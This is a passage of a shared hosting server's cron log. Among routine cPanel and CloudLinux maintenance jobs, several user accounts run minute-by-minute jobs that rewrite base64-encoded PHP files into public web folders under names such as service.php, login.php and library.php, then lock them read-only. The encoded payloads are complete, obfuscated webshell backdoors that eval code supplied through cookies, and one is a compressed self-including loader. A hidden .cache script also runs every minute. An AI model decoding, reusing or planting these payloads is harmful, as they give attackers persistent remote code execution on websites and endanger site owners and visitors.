"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:14:01 medusa CROND[11867]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:14:01 medusa CROND[11869]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:14:01 medusa CROND[11875]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:15:01 medusa CROND[3623]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 05:15:01 medusa CROND[3636]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 05:15:01 medusa CROND[3640]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 05:15:01 medusa CROND[3697]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 05:15:01 medusa CROND[3806]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 05:15:01 medusa CROND[3807]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:15:01 medusa CROND[3808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:15:01 medusa CROND[3810]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 05:15:01 medusa CROND[3809]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 05:15:01 medusa CROND[3811]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:15:01 medusa CROND[3816]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 05:15:01 medusa CROND[3819]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:15:01 medusa CROND[3820]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:15:01 medusa CROND[3821]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 05:15:01 medusa CROND[3824]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:15:01 medusa CROND[3822]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 05:15:01 medusa CROND[3827]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 05:15:01 medusa CROND[3829]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:15:01 medusa CROND[3817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:15:01 medusa CROND[3833]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:15:01 medusa CROND[3832]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:15:01 medusa CROND[3835]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 05:15:01 medusa CROND[3844]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:16:01 medusa CROND[27349]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:16:01 medusa CROND[27407]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 05:16:01 medusa CROND[27408]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 05:16:01 medusa CROND[27409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:16:01 medusa CROND[27416]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:16:01 medusa CROND[27417]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:16:01 medusa CROND[27420]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:16:01 medusa CROND[27421]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:16:01 medusa CROND[27419]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:16:01 medusa CROND[27418]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
